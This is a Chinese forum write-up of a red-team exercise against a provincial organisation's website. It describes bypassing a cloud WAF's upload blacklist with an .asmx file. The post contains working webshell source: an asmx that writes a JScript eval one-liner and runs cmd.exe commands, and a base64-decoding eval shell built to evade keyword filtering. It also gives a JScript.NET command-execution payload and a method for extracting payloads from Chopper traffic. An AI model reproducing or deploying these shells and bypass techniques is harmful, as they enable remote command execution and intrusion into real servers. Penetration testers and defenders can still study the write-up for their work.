一次hvv中的asmx上传绕过waf记录

  • A+

前段时间参加某省级hvv遇到一个很有意思的上传,花了两个小时研究绕过,注册论坛这么久了,没有发过帖子在此记录一下,来混个脸熟。
目标是某个省级的单位,有自己的云,子域名挺多,在hvv中最喜欢拿这种目标下手了,开干。通过bing获取到n多子域名,常规流程走一遍反序列化、上传、猜密码、命令执行(因为比较菜每次就会用这几招),但是每次hvv防守方总有那么些低级问题被我搞定,这不直接注册用户发现一枚上传,本以为可以快刀斩乱麻几分钟就搞定然后开开心心搞内网,没想到自己太菜硬是卡了两个小时。打开目标站点发现有注册登录的地方,毫不犹豫直接先注册,狗屎运真好直接发现头像可以上传,如下:

1.png
测试一下上传正常图片,先看看功能正常不,还好功能正常如下,上传成功并且返回了文件路径:

2.png
改文件名为txt后缀也支持上传:

3.png
继续改aspx后缀:

4.png
之后尝试了ashx、asp、ascx、asax 等发现全部是502,hvv太累脑袋短路当时没想到asmx,总之至此说明服务器有某种waf之类的程序黑名单模式干掉了这些敏感后缀,正常的非脚本类型后缀都可以上传。ping一下域名看看:

5.png
直接搜索kunlunca.com 看看是哪个厂商:

6.png
原来是某云的waf,接下来就是两种思路第一种查找真实IP在riskiq等各种网站查找也没找到历史解析的ip,总觉得黑名单这种拦截不想放弃,后来突然想到asmx来上传试试。.asmx是webservice服务程序的后缀名,ASP.NET 使用.asmx 文件来对Web Services的支持,既然是动态的脚本那肯定可以搞事,结果运气比较好居然支持当时以为自己眼花了。

7.png
支持asmx那就好办,感觉这站肯定拿下,没想到后面还是遇到了不少多坑,也学到了一些知识。其实哥斯拉也支持asmx,当时也做了尝试:

8.png
直接生成一个上传后并且可以正常访问,觉得应该稳了。

9.png
赶紧用哥斯拉客户端去链接,结果并没有见证奇迹,如下:

10.png
至于这个为什么失败当时也没搞清楚。继续搜索发现有黑阔师傅已经写过一篇asmx webshell分析的文章,链接接如下:https://www.cnblogs.com/Ivan1ee/p/10278625.html

按照文章所说的方法 asmx 支持URL/方法名这种调用方法:

11.png
但是我本地上传的以这种方式测试失败。同时文章也说了:
可惜的是这种方法不支持.NET 2.0究其原因是using System.Web.Script.Services;这个命名空间并不在System.Web中,而是在ajax扩展中需要额外安装ASP.NET 2.0 AJAX Extensions,所以在2.0的环境下尽量避免使用该方法。
初步估计我是遇到这种可能是不支持ASP.NET 2.0 AJAX Extensions扩展这种形式了,抓包看了一下哥斯拉的交互数据包,发现去修改哥斯拉的包感觉有点复杂了,hvv争分夺秒,我要换一个简单的方法整体思路是:1、利用文件操作函数生成一个一句话webshell。2、直接调用系统命令上cs马。
先试试文件写入和命令执行,asmx代码如下:
[System.ComponentModel.ToolboxItem(false)]
[WebMethod]
public string webShell()
{
StreamWriter wickedly = File.CreateText(HttpContext.Current.Server.MapPath("Ivan.aspx"));
wickedly.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"Ivan\"],\"unsafe\");%>");
wickedly.Flush();
wickedly.Close();
return "Wickedly";
}
[WebMethod]
public string cmdShell(string input)
{
Process pr = new Process();
pr.StartInfo.FileName = "cmd.exe";
pr.StartInfo.RedirectStandardOutput = true;
pr.StartInfo.UseShellExecute = false;
pr.StartInfo.Arguments = "/c " + input;
pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pr.Start();
StreamReader osr = pr.StandardOutput;
String ocmd = osr.ReadToEnd();
osr.Close();
osr.Dispose();
return ocmd;
}

发包:

12.png
很遗憾直接502,又被waf拦截了,经过排除法大量测试发现只要发现客户端提交文件包含File.CreateText(创建文件、操作函数)或者Process pr = new Process(); 创建进程函数关键字waf全部都会干掉。一时陷入僵局想要拿到shell其实要么写文件要么创建进程执行命令这些函数都给拦截的死死的,继续测试上传发现eval函数是没有拦截的(有人说有了eval就可以了,但是你eval最终还是要客户端提交操作函数代码的,归根结底还是要进行文件和进程操作,继续往下看),页面可以正常访问到,如下所示:

13.png
按照文章的说法调用地址格式是:
http://www.www.com/2021011110092504.asmx?op=Invoke
默认这种格式菜刀是链接不上的,因为文章也说了菜刀不支持SOAP的方式提交payload,直接连接asmx文件就会出现下图错误,并且这种shell链接客户端会被waf干掉:

14.png
接下来就有两种解决办法第一种解决方法可以自己写代码实现支持SOAP的客户端,第二种办法参考asmx页面最下方给出的HTTP POST提交方式,发包测试:

15.png
可以发现简单的输入response这种函数都是可以的。现在有了代码执行的入口但是又回到之前的问题,只要一post危险函数继续给你干掉,所以说现在就算服务器端有eval对我拿shell或者拿权限还是很鸡肋。我们现在需要的是执行命令,现在应该是服务器端只拦截关键字,编码应该就可以绕过,渗透不就是一次次的测试直到找到可行的那条路么!
继续改代码,看看采用base64方式接收参数是否可以绕过,因为base64最简单嘛。
<%@ WebService Language="JScript" class="ScriptMethodSpy"%>
import System;
import System.Web;
import System.IO;
import System.Web.Services
import System.Web.Script.Services
public class ScriptMethodSpy extends WebService
{
WebMethodAttribute ScriptMethodAttribute function Invoke(Ivan : String) : Void
{
var I = HttpContext.Current;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
var a=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Ivan));//其实这里还可以使用哥斯拉那种比较复杂的aes之类的复杂的加密方式,时间紧急当时也没有去研究。
eval(a);
}
}

那么现在想执行一条系统命令,执行命令原生代码如下:
var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("Y21k")));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c ***ipconfig /all***";e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());
这里面的代码是JScript.NET语法,对于不熟悉的朋友写起来可能有点麻烦。其实这个时候可以借助菜刀,因为菜刀aspx一句话的语法也是JScript.NET的,C#.NET默认不支持eval函数需要自己写代码去实现。执行命令的代码的获取方法如下:本地ie设置代理(菜刀默认走的是ie代理),开启burpsuite,随便从你的菜刀100M的webshell数据库里找一条以前的aspxshell,右键执行虚拟终端输入命令回车:

16.png
将里面的base64编码部分提取出来burp解码即可得到原生态执行命令的方法:

17.png
然后直接修改里面执行的命令再转换回去base64编码发包即可,测试结果如下:

18.png
可以看到命令顺利执行,后面就可以愉快的内网渗透了。